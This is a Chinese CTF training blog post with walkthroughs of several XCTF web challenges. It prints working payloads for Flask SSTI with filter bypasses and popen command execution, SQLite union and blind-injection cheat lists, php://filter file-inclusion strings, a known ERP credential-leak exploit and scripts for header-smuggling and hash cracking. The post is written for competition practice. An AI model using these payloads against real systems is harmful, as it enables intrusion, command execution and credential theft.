蓝桥杯-网络安全 做题备战第五天(Web方向)

练习平台地址

攻防世界

今日练习题目

XCTF-Confusion1(python flask框架)

相关知识

flask SSTI注入利用

在flask SSTI漏洞中,{{x}}里面的代码将会执行

flask SSTI简单框架
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route("/")
def index():
    key = request.args.get("key")
    temp = """
    <body>
    {}
    </body>
    """.format(key)
    return render_template_string(temp)


if __name__ == "__main__":
    app.run()
利用案例 

SSTI小技巧
1.如果[]索引被过滤,可以用getitem ()或者get方法来进行替换

 print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

 2.如果引号被过滤可以采用以下方式在url中实现

?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

 3.如果关键字被过滤,可以通过getattribute(''+'cla'+'ss'+'')类似的手法进行绕过

# "".__class__.__mro__[2].__subclasses__()[40]('pass.txt').read()

{ %7B  %7D}
# %7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read

题目描述

python比PHP好,图片蟒蛇捆大象(python比php好)

尝试点击可以交互的地方,F12检查

 获取到信息,存在两个文件

/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt

尝试一下SSTI注入,因为已经没有其他有交互的地方了 

发现确实存在SSTI注入,使用BP抓包

测试一下

login.php%7B%7B"".__class__7D%7D

可能是引号过滤也可能是__class__过滤,我们分别尝试一下

这里用传值的方式尝试绕过

%7B%7B""[request.args.a]%7D%7D?a=__class__


%7B%7B""[request.args.a][request.args.b]%7D%7D?a=__class__&b=__mro__


%7B%7B""[request.args.a][request.args.b][2][request.args.c]%7D%7D?a=__class__&b=__mro__&c=__subclasses__(python3这里的2要变成1)

注意:

这里__mro__方法出现了三个,说明这里是python2

如果出现了两个,才是python3

结合之前获取到的路径进一步利用

python2

%7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')%7D%7D?a=__class__&b=__mro__&c=__subclasses__


python3

%7B%7B"".[request.args.a][request.args.b][0][request.args.c]()[134][request.args.d][request.args.e]['[request.args.f]']['open']('xxx').[request.args.g]()%7D%7D&a=__class__&b=__bases__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&g=read

可以发现这时open file就是一个对象,再传一个read()方法就可以了

%7B%7B""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read

flag

cyberpeace{ea56680cffe48b24f3c6f9c26a626090}

XCTF-FlatScience

点击页面跳转都是PDF,F12检查也没有发现信息,Header中也没有

目录扫描

访问robots.txt,发现有login.php和admin.php

访问login.php

 #报错

 使用--+后跳转回到了首页

访问admin.php

应该也不存在sql注入,F12检查

 login.php

admin.php

 尝试在login.php中添加remove的debug参数

login.php?debug=xxx

 得到了login.php的源码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
发现使用的是sqlite数据库且没有对POST传入的参数进行过滤
而且如果查询成功会把name写入到Cookie当中

BP抓包进行sqlite注入

常规sqlite注入

#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master  limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;

布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容: 
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*

-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......

时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*

 构造payload

usr=' union select name,sql from sqlite_master--&pw=''

 查看Cookie

 得到创建数据库的语句

CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

 构造payload

执行的查询语句

"SELECT id,name from Users where name='".$user."' and password='"


usr=' union select id,id from Users limit 0,1--&pw=''


usr=' union select id,name from Users limit 0,1--&pw=''


usr=' union select id,passwd from Users limit 0,1--&pw=''


usr=' union select id,hint from Users limit 0,1--&pw=''

查询到的数据
idnamepasswdhint
1admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!
2fritze54eae8935c90f467427f05e4ece82cf569f89507my love is…?
3hansi34b0bb7c304949f9ff2fc101eef0f048be10d3bd

the password is password

可以猜测passwd是md5加密的,尝试解密
结合之前的代码猜测Salz!是拼接上去的
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
passwd

 ThinJerboa

成功登录得到flag

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

sqlite注入结束,但是并没有得到flag

这里已经没有头绪了,在网上找一篇WP

攻防世界web进阶区FlatScience详解-优快云博客

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list 
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://220.249.52.133:46876/')
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)
from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()
运行得到passwd

ThinJerboa

flag

 flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

XCTF-文件包含(php伪协议交叉爆破)

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

这个很简单就是传一个参数文件包含

常用的php伪协议

php://filter/resource=flag.php

php://filter/read=convert.base64-encode/resource=flag.php

php://filter/convert.iconv.utf8.utf8/resource=flag.php

 测试发现应该使用第三个伪协议

php://filter/convert.iconv.utf8.utf8/resource=flag.php

 常见的编码方式

 UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

使用BP交叉爆破

flag 

cyberpeace{9406ea38899556b58756ff5f3e9befa6}

 XCTF-ezbypass-cat

直接尝试登录

发现密码进行了加密

 F12检查网页

搜索password看能否得到password的加密方式

加密方式

确实是这个加密方法

继续查看文件发现使用了旧版的华夏ERP

华夏ERP漏洞复现相关知识

华夏ERP存在泄露用户名和密码敏感漏洞(CNVD-2020-63964) - 知乎

成功获取了管理员账号和密码

admin

415aa80ba12ac6c993b0b930f8869a29

 密码解密失败

那么我们尝试直接读取flag

访问flag.php发现不存在,那我们尝试目录扫描(最后扫到了flag.html)

flag

cyberpeace{3d00ecd3f06f14027613220ef137e529} 

XCTF-ez_curl

下载附件是一个app.js的文件,内容如下

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

app. js代码分析

很明显这就是让我们绕过这个判断条件从而发送flag,否则打印'try hard'


// admin=true 'true' ' true' ' xtrue'都是符合的

!req.query.admin.includes('false') && req.headers.admin.includes('true')

网页php代码分析

第一个判断
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
// 通过POST方式执行命令
$input = file_get_contents('php://input');
// 取出headers转换成数组
$headers = (array)json_decode($input)->headers;
// 将headers进行分割,':'前是key,后是value
for ($i = 0; $i < count($headers); $i++) {
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    // key要包含admin,value要包含true
    if (stripos($key, 'admin') > -1 && stripos($value, 'true') > -1) {
        die('try hard');
    }
}
 js和php中的判断条件看起来是冲突的,我们可以利用js的解析方式构造payload

{"headers":["admin: true"]}


符合app.js但不符合php

{"headers":["admin: x", " true: y"]}


两者都符合,app.js解析出来结果是{admin : "x true y"}

 第二个判断

这里存在一个字符串会和我们传入的参数进行拼接,一旦拼接,app.js就无法绕过

$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
阻止拼接
相关知识
  • express的parameterLimit默认为1000
  • 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
python脚本
import requests
import json

url = "http://61.147.171.105:62277/"

datas = {
    "headers": ["adminn: t", " true: t"],
    "params": {"admin": "true"}
}

for i in range(10001):
    datas["params"]["x" + str(i)] = str(i)

print(datas)

# data = json.dumps(datas)

# result = requests.post(url, data=data)
# print(result.text)
其他文章的python脚本
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:62277/"  # 定义目标 URL

# 定义要发送的数据
datas = {
    "headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],  # 请求头部信息
    "params": {"admin": "true"}  # 请求参数
}

# 向请求参数中添加 1020 个键值对
for i in range(1020):
    datas["params"]["x" + str(i)] = i

headers = {
    "Content-Type": "application/json"  # 定义 HTTP 头部信息,指定内容类型为 JSON
}

# 将数据转换为 JSON 格式
json1 = json.dumps(datas)
print(json1)  # 打印 JSON 数据

# 发送 POST 请求
resp = requests.post(url, headers=headers, data=json1)

# 打印响应内容
print(resp.content)

flag

CatCTF{23aaaab824aadf15eb19f4236f3e3b51}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值